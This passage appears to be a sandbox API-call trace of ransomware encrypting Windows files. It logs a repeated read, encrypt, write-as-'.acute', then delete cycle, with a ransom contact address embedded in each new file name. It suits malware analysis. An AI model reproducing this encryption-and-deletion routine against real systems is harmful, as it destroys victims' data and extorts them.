(hObject=0x1a0) returned 1 [0049.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.714] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.714] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.714] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.714] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.714] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x2488, lpOverlapped=0x0) returned 1 [0049.716] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2490, dwBufLen=0x2490 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2490) returned 1 [0049.716] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2490, lpOverlapped=0x0) returned 1 [0049.717] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0049.717] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.717] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.717] CryptDestroyKey (hKey=0x593260) returned 1 [0049.717] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.717] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.717] CloseHandle (hObject=0x1a0) returned 1 [0049.717] CloseHandle (hObject=0x1b0) returned 1 [0049.718] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0049.719] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.719] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.720] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1349) returned 1 [0049.720] CloseHandle (hObject=0x1b0) returned 1 [0049.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0049.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.720] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.721] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.721] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.721] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.721] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x545, lpOverlapped=0x0) returned 1 [0049.722] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550, dwBufLen=0x550 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550) returned 1 [0049.722] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x550, lpOverlapped=0x0) returned 1 [0049.723] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0049.723] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.723] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.723] CryptDestroyKey (hKey=0x593260) returned 1 [0049.723] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.724] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.724] CloseHandle (hObject=0x1b0) returned 1 [0049.724] CloseHandle (hObject=0x1a0) returned 1 [0049.724] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0049.725] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.725] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.725] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=596341) returned 1 [0049.725] CloseHandle (hObject=0x1a0) returned 1 [0049.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0049.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.726] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.726] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.726] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.726] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.726] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.726] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.726] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x91975, lpOverlapped=0x0) returned 1 [0049.885] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x91980, dwBufLen=0x91980 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x91980) returned 1 [0049.890] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x91980, lpOverlapped=0x0) returned 1 [0049.901] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932a0) returned 1 [0049.901] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.901] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.901] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.901] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.901] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.901] CloseHandle (hObject=0x1a0) returned 1 [0049.902] CloseHandle (hObject=0x1b0) returned 1 [0049.906] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0049.912] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.912] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.912] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=31094) returned 1 [0049.912] CloseHandle (hObject=0x1b0) returned 1 [0049.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.912] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.912] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.913] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.913] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.913] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.913] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.913] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7976, lpOverlapped=0x0) returned 1 [0050.057] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7980, dwBufLen=0x7980 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7980) returned 1 [0050.057] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7980, lpOverlapped=0x0) returned 1 [0050.059] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0050.059] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.059] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0050.059] CryptDestroyKey (hKey=0x593220) returned 1 [0050.059] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0050.059] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.059] CloseHandle (hObject=0x1b0) returned 1 [0050.059] CloseHandle (hObject=0x1a0) returned 1 [0050.060] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0050.061] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.069] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=15067) returned 1 [0050.069] CloseHandle (hObject=0x1b0) returned 1 [0050.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0050.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.069] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0050.070] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.070] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x3adb, lpOverlapped=0x0) returned 1 [0050.080] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x3ae0, dwBufLen=0x3ae0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x3ae0) returned 1 [0050.081] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x3ae0, lpOverlapped=0x0) returned 1 [0050.082] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0050.082] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.082] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30, dwBufLen=0x30 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30) returned 1 [0050.082] CryptDestroyKey (hKey=0x593220) returned 1 [0050.082] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xe2, lpOverlapped=0x0) returned 1 [0050.082] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.082] CloseHandle (hObject=0x1b0) returned 1 [0050.082] CloseHandle (hObject=0x1ac) returned 1 [0050.083] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0050.084] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.084] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1069) returned 1 [0050.084] CloseHandle (hObject=0x1ac) returned 1 [0050.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0050.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.085] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.085] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0050.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.085] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0050.085] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0050.085] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x42d, lpOverlapped=0x0) returned 1 [0050.094] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, 